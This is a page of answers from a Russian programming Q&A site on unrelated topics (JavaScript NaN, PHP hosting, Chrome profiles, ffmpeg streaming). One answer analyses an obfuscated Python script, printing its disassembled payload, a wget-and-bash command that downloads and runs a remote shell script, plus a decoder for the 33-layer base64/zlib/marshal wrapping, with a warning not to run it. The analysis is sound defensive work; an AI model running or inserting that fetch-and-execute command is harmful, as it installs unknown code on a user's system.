• Почему не работает проверка NAN?

    Это JavaScript, детка!
    661a3785d1ef6444222209.png
    661a37a01e49d767748270.jpeg
    661a37d8b28b9965055125.png
    Ответ написан
    Комментировать
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Что стоит использовать для защиты PHP-кода на текущий момент?

    ipatiev
    @ipatiev Куратор тега PHP
    Потомок старинного рода Ипатьевых-Колотитьевых
    Сообщество считает, что всё это бессмысленные ужимки, которые в 99% случаев используются только для того, чтобы прикрыть крайнее убожество кода. Серьёзные продукты никто не шифрует. Чем, в частности, объясняется заброшенность всех этих, на первый взгляд многочисленных, проектов, которые не выходят из стадии "мы тут с одноклассниками придумали крутую штуку". потом одноклассники либо умнеют и перестают теребить ерунду, либо находят занятие более интересное, чем пхпе.

    Сам по себе код мёртв. Он устарел ещё до релиза. В работе софта важна не дискетка с исходниками, а поддержка. Вот поддержку и надо продавать. И не дрожать над каждым вором. Потому что защита от одного вора отпугивает 10 честных покупателей.

    Плюс всегда есть SAAS.
    Ответ написан
    4 комментария
  • Как принимать платежи из Европы при текущих санкциях?

    @starxchanger
    Lava - у них вроде есть казахский офис и собственно через него идут платежи из-за рубежа. По крайней мере многие платежи идут через него

    Можно и Енота, да и схожие кассы могут сделать вам кабинет. Правда комисии там довольно большие, вплоть до 15%.
    Ответ написан
    5 комментариев
  • Когда нужен MVC, а когда API?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    API есть у любой программы. MVC это способ организации кода, наличия API он не исключает. Не стоит сравнивать тёплое с мягким.
    Ответ написан
    3 комментария
  • Как правильно разместить файлы php на хостинге?

    @AUser0
    Чем больше знаю, тем лучше понимаю, как мало знаю.
    Для выкладывания .php файла не нужна база данных.
    Просто копируете файлы на сервер, и если обработка .php там включена - всё заработает.

    Можно просто загрузить на сервер файл test.php с содержимым
    <?php echo("OK!"); ?>
    И если обращение к этой странице http://доменное_имя/test.php покажет текст OK! - значит всё работает нормально.
    Ответ написан
    3 комментария
  • Персональный гугл, если ли?

    Daemon23RUS
    @Daemon23RUS
    Краулер, который ходит по интернетам и ищет сам, то о чём я его попросил

    Боюсь, что ответ Вашего частного поисковика придется долго ждать. Обратимся к цифрам: сейчас порядка 2 млрд. сайтов ( обратите внимание на то что это сайты, а не страницы, коих на многих сайтах десятки, сотни, тысячи а на части на порядки больше) предположим, что ваш краулер пожирает сайты по 10 шт в секунду (со всеми страницами), так вот ждать ответа придется лет 7.
    И это мы опустили трафик, который сожрет краулер. А там все за гранью не то что домашнего сервера, а не все страны потребляют такой объем.
    P.S. Тут вопрос не в алгоритмах или коде, вопрос в объеме "перевариваемой" информации
    Ответ написан
    3 комментария
  • Какой специалист мне нужен?

    newross
    @newross
    Product owner
    Бизнес-аналитик либо продакт.
    Желательно знакомого с вашей предметной областью и аудиторией.
    Чего точно не стоит делать, так это делегировать принятие решений разработчикам. А то получите красивый код, оторванный от бизнеса
    Ответ написан
    Комментировать
  • Как спарсить сайт, требующий авторизацию с кодом из смс?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Какие есть способы для решения задачи (желательно из ЯП использовать python)

    Желательно - это "не обязательно".
    Тинькофф сбрасывает любые сессии каждые 12 часов

    Вполне ожидаемо для сервиса, работающего с деньгами.
    Проблемы возникают на моменте ввода кода из смс, как его можно перенаправить серверу?

    - Получать смс на временный номер, используя специализированные сервисы с api.
    - Поставить на телефон приложение, которое будет перехватывать определенные смс и слать их указанным образом по указанному адресу, например SMS forwarder или SMS Backup & Restore.
    - Написать свое приложение (если не доверяете чужим), которое сделает все тоже самое, что пункт выше, но здесь будет использоваться не python, а kordova/react-native/flutter/kotlin.
    Ответ написан
    Комментировать
  • Как создать прокси сервер на своём компьютере?

    SignFinder
    @SignFinder
    Wintel\Unix Engineer\DevOps
    Чтобы создать прокси сервер на своем компьютере - нужно установить и запустить прокси сервер на своем компьютере
    Ответ написан
    Комментировать
  • Что это такое и как защититься?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    По двору прошелся жулик и попытался хакнуть эксплойтом для "майбаха" (условно) все тачки в вашем дворе. Майбахов не нашлось, этот жулик пошел дальше и забыл уже про ваш дворик.

    Надо ли защищаться от атаки, не релевантной вашему сетапу? Не надо.
    Надо ли делать выводы об уязвимости того или иного оборудования? Надо.
    Надо ли проверять свои конфигурации на эксплойты? Надо.
    Надо ли реагировать на всякую нерелевантную хрень в логах с ошибками порядка 400? Не надо.
    Надо ли позаботиться об оркестрации быстрого развёртывания ваших серверов на случай взломов или проблем с железом? Конечно надо!

    Вообще, если ваш сетап на виртуальных машинах в повторяемой среде и с декларативной конфигурацией вроде кубера или докера, то вы легче сможете пережить всякие такие факапы.
    Схема такая.
    Есть признаки взлома - бэкап логов, снапшот базы, бэкап стораджа, остановка сервисов (если позволяет продакшн), анализ атаки и последствий. Устраняем уязвимость по вектору атаки (гугление по логам и курение тредов), правим конфиги развёртывания и запускаем прод. Потом долго и тщательно разбираемся по логам, снапшотам и бэкапам что затронуто. Делаем тестовый чистый сетап по старой конфигурации и сравниваем пофайлово с атакованной системой, выясняем в какие места вмешались злодеи. Дифаем базу и смотрим на подозрительные различия. Делаем выводы, объявляем об утекших данных, если есть такие признаки (чтобы не подставлять пользователей), принимаем превентивные меры против похожих векторов атак.

    Итого, залог успеха - это хранение конфигураций в гит-репозитории, своевременные бэкапы, хранение бэкапов на отдельных изолированных стораджах, оркестрация и автоматизация развертывания, подробное эшелонирование логирование с бэкапами логов, смоук тесты на нестандартную активность в БД, по сетевым интерфейсам, трафику, процессору, памяти, файловым системам, логам...

    Это взгляд дилетанта по безопасности, если чего пропустил -- поправьте. Если где не прав -- расскажите.
    Ответ написан
    3 комментария
  • Массовое создание профилей Chrome?

    @starleaps Автор вопроса
    Ни в русскоязычном, ни в англоязычном интернете, не нашел ни малейшей подсказки, что можно сделать. За последней надеждой обратился к ChatGPT, и, на удивление, он практически с первой попытки выдал мне рабочий скрипт для PowerShell. Ура!

    Скрипт автоматически создает ярлык на рабочем столе для каждого пользователя. Если вам это не нужно - удалите ту часть скрипта


    # Укажите путь к исполняемому файлу Google Chrome
    $ChromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
    
    # Цикл для создания профилей
    for ($i=1; $i -le 30; $i++) {
        # Имя профиля
        $ProfileName = "Profile$i"
        
        # Запуск Google Chrome с созданием нового профиля
        Start-Process -FilePath $ChromePath -ArgumentList "--profile-directory=$ProfileName" -NoNewWindow
    
        # Задержка 1 секунда
        Start-Sleep -Seconds 1
    
        # Создание объекта Shell для работы с ярлыками
        $shell = New-Object -ComObject WScript.Shell
    
        # Путь к ярлыку на рабочем столе
        $desktopPath = [System.Environment]::GetFolderPath('Desktop')
        $shortcutPath = Join-Path -Path $desktopPath -ChildPath "$ProfileName.lnk"
    
        # Создание ярлыка
        $shortcut = $shell.CreateShortcut($shortcutPath)
        $shortcut.TargetPath = $ChromePath
        $shortcut.Arguments = "--profile-directory=$ProfileName"
        $shortcut.Save()
    
        # Закрытие профиля
        Stop-Process -Name chrome -Force
    }


    Что с этим делать: копировать, вставить в блокнот, указать нужное количество профилей (у меня в скрипте их 30) сверить папку, в которой у вас установлен хром. Если не совпадает - указать свой путь. Далее просто сохранить с расширением .ps1, затем просто по нему клацнуть и всё будет работать. Если не работает. попробуйте запустить так:
    Открыть PowerShell и вставить:
    Set-ExecutionPolicy RemoteSigned
    Далее написать cd и указать папку, в которой находится ваш только что созданный файлик с расширением .ps1
    Например:
    cd c:\Users\Sunset\Desktop
    Здесь имя диска должно быть написано с маленькой буквы!

    И, наконец, теперь запускаем сам скрипт. Для этого пишем точку и слэш .\ и БЕЗ ПРОБЕЛА вставляем название файла с расширением.
    Например:
    .\ChromeUsers.ps1

    Всё.
    Ответ написан
    Комментировать
  • Как выйти из двух пользователей в Linux, и при этом выполнить команду один раз?

    @rPman
    убить оба шела, сессия автоматически завершится

    Скрипт для этого пиши сам
    ps
    покажет список текущих процессов сессии, а там обычно только sudo и bash (ну и работающий ps), так получишь pid текущего bash
    pstree -s pid_текущего_шела -p
    покажет в одной строчке всех предков от указанного процесса, например так
    systemd(1)───xfce4-terminal(3933)───bash(5169)───sudo(1726858)───sudo(1726872)───bash(1726873)───pstree(1732257)

    тебе достаточно убить два последних sudo и bash (или чем ты там пользуешься) с конца этого списка
    например так
    kill -KILL 1726873 1726872 1726858 5169
    Ответ написан
    Комментировать
  • Как стимить видео с сервера с оверлеем комментариев?

    Vapaamies
    @Vapaamies
    Разработчик будущей ОС для ПК размером 250 МБ
    Когда-то жег свой одноядерный Athlon64 Venice таким стримом (из-под XP — OBS не работал):
    ffmpeg -framerate 10 -f gdigrab -thread_queue_size 128 -offset_y 80 -video_size "1280x900" -i desktop -i X:\Projects\LogoTV.png -f dshow -framerate 10 -video_size 160x120 -pixel_format yuyv422 -rtbufsize 32M -i video="USB web camera" -i X:\Projects\LogoProject.png %1 %2 -filter_complex "[0]pad=ih*16/9:ih:(ow-iw)/2:oh-ih[a]; [a][1]overlay=W-w:8:format=rgb[b]; [b][2]overlay=0:H-h:format=rgb[c]; [c][3]overlay=W-w:(H-h)/2:format=rgb %filter%" -f dshow -rtbufsize 16M -i audio="Virtual Cable 1" -acodec libmp3lame -ab 112k -joint_stereo 0 -af "volume=2" -vcodec libx264 -pix_fmt yuv420p -keyint_min 3 -vb 1200k -bufsize 6M -preset ultrafast %3 %4 %5

    Сжег.
    Ответ написан
    2 комментария
  • Как правильно сформулировать документ на основании которого пишется частичное техническое задание, если основание было устным?

    @mordo445
    Любое устное обоснование можно считать совещанием. Можете указывать в ваших документах "протокол совещания", "протокол выездного совещания" (если оно прошло в курилке), "meeting conclusion". Протокол можно как рекомендует Snakecharmer подбить в мессенджере.
    Ответ написан
    1 комментарий
  • Как правильно сформулировать документ на основании которого пишется частичное техническое задание, если основание было устным?

    pindschik
    @pindschik
    ФЫВА ОЛДЖ
    Хреновое ТЗ - результат ХЗ.
    Заказчик пишет ТЗ исходя из того, чтоб иметь возможность для маневров и не оплачивать доп. работы исполнителя, при появлении подводных камней.
    Исполнитель хочет ТЗ, которое максимально опишет конкретику и спорные ситуации (если честный), или напротив - нечто расплывчатое, чтоб любая галиматья потом ему соответствовала.
    Вы заказчик или исполнитель?
    А оформляется ТЗ как часть конкурсной документации на тендере, или как приложение к договору. Как вы его назовете - уже дело десятое.
    Ответ написан
    Комментировать
  • Как установить и настроить кучу пакетов в debian через скрипт, и есть ли такие готовые скрипты?

    aapanel
    И управление docker
    и nodejs
    и оркестратором
    1 скрипт 1 Строчка судя по тз вам хватит, кроме vpn ибо это точно не к хостингу.
    ну у впн тоже есть готовые решения, но я не знаю вашей топологии.
    Самый простой из кроссплатформенных softether vpn - в плане функционал настройки.
    На винде отличный GUI
    Ответ написан
    Комментировать
  • Где посмотреть wi-fi адаптер с поддержкой mode monitor?

    CityCat4
    @CityCat4
    Внимание! Изменился адрес почты!
    Нет, не нужен :) Нужно снести то, в чем нифига не понимаете - и вернуться уже к майнкрафту :)

    Mode monitor - режим мониторинга трафика, "беспорядочный" захват. В таком режиме карта, ессно не работает :) она только "слушает". И выясняется это пятью минутами гуглинга.
    Ответ написан
    Комментировать
  • Какие вы знаете сервисы с OpenAI API из России?

    @de7c3l
    есть множество ботов. Вот с самыми демократичными ценами в отличии от других. + все модели понимают аудио-общение

    Написано, что есть api.

    По поводу оратора выше. Сайт открывается только до авторизации. Многие забугорные впн забанены. Оплата тоже не работает. Те еще муки. Можно купить готовый акк. Но опять же дорого, в сравнении с этим ботом.

    ProxyAPI - тут очень конские цены..))
    Ответ написан
    4 комментария
  • Нужно ли взять деньги за оценку больших ТЗ веб-разработчику?

    vabka
    @vabka
    Токсичный шарпист
    Нужно. Назови это чем-то типа "анализ и уточнение технического задания, и составление плана работ " назначь цену изходя из размера ТЗ и количества необходимых созвонов и доработок.

    Дай скидку, если в итоге решите сотрудничать.

    В случае возражений - проведи аналогию с реальным миром: замер окон, геодезические работы перед стройкой, итд.

    Если скажет что другие исполнители не берут деньги за это - напомни про скидку и скажи, что это тоже работа и оно позволяет точнее предсказать цену и, меньше затягивать сроки, и не делать лишних правок ближе к концу проекта.
    Ответ написан
    1 комментарий